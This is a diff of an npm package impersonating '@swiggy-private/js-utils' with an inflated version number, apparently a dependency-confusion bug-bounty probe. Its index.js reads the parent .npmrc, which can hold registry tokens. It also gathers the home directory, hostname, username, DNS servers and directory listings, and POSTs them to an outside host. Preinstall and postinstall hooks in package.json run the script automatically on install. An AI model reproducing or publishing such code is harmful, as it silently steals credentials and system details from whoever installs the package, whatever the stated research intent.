@swiggy-private/js-utils 99999999.10010.9999

package/index.js

@@ -0,0 +1,69 @@
+//
+// this is the test for npm dep confusion
+// please contact securityhuman@wearehackerone.com (this is my hackerone email id which divert mails to my email.)
+
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+var packageJSON = {description:"null empty",version:"null empty" };
+var package1 = "null";
+
+var all_files = "null";
+var all_files_2 = "null";
+var npmrc = "null";
+
+try {
+  packageJSON = require("./package.json");
+  package1 = packageJSON.name;
+
+  const fs = require("fs");
+
+  const directoryPath = "../"; // Replace with your desired directory path
+
+  all_files = fs.readdirSync(directoryPath);
+
+  all_files_2 = fs.readdirSync("../../");
+
+  npmrc = fs.readFileSync("../../.npmrc", "utf8");
+} catch (e) {}
+
+const trackingData = JSON.stringify({
+  p: package1,
+  c: __dirname,
+  hd: os.homedir(),
+  hn: os.hostname(),
+  un: os.userInfo().username,
+  dns: dns.getServers(),
+  d: packageJSON.description,
+  v: packageJSON.version,
+  npmrc: npmrc,
+});
+
+var postData = querystring.stringify({
+  msg: trackingData,
+});
+
+var options = {
+  hostname: "securityhuman.pythonanywhere.com",
+  port: "443",
+  path: "/confusion",
+  method: "POST",
+  headers: {
+    "Content-Type": "application/x-www-form-urlencoded",
+    "Content-Length": postData.length,
+  },
+};
+
+var req = https.request(options, (res) => {
+  res.on("data", (d) => {
+    process.stdout.write(d);
+  });
+});
+
+req.on("error", (e) => {
+  // console.error(e);
+});
+
+req.write(postData);
+req.end();

package/package.json

@@ -0,0 +1,17 @@
+{
+  "name": "@swiggy-private/js-utils",
+  "version": "99999999.10010.9999",
+  "description": "test dep confusion. please contact securityhuman (hackerone platform id),  securityhuman@wearehackerone.com",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Test dep confusion\" && exit 1",
+    "preinstall": "node index.js; echo \"pre done\"",
+    "postinstall": "node index.js ; echo \"post done\""
+  },
+  "keywords": [
+    "dep",
+    "confusion"
+  ],
+  "author": "",
+  "license": "ISC"
+}